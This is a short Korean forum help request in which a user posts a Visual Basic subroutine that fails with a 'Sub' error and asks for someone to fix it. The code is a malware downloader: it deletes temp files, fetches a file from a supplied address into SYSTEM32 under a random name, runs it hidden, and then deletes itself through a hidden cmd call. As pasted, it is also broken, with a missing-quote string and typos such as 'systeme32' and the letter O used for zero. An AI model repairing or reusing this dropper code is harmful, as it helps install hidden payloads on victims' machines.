수다닷컴

Private Sub Down(d As String, A As String, B As String)
On Error Resume Next
Dim DoWnA As String
If d = 1 Then
Dim Arr() As String
Arr() = Split(FileSearch(Environ(homedrive) & Environ(homepath) & \Local Settings\Temp\*.tgs), /)
For i = O To UBound(Arr()) - 1
SetAttr Environ(homedrive) & Environ(homepath) & \Local Settings\Temp\ & Arr(i), vbNormal
Next i
Kill Environ(homedrive) & Environ(homepath) & \Local Settings\Temp\*.tgs
DoWnA = RN(10)
DOWnPI O, B, Environ(WINDIR) & \SYSTEM32\ & DoWnA & .EXE, O, O
Shell Environ(windir) & \systeme32\ & DoWnA & .exe, vbHide
Call CacheAPI(B)
End If
If Not App.EXEName = A Then
Shell cmd /c del & App.Path & \ & App.EXEName & .exe & nul, vbHide
End If
End
End Sub이부분이 Sub 또는 .. 오류가 뜹니다..ㅠ.ㅠ 도와주세요.ㅠ.ㅠ쪽지 주시면 바로 연락 드리겠습니다.

신청하기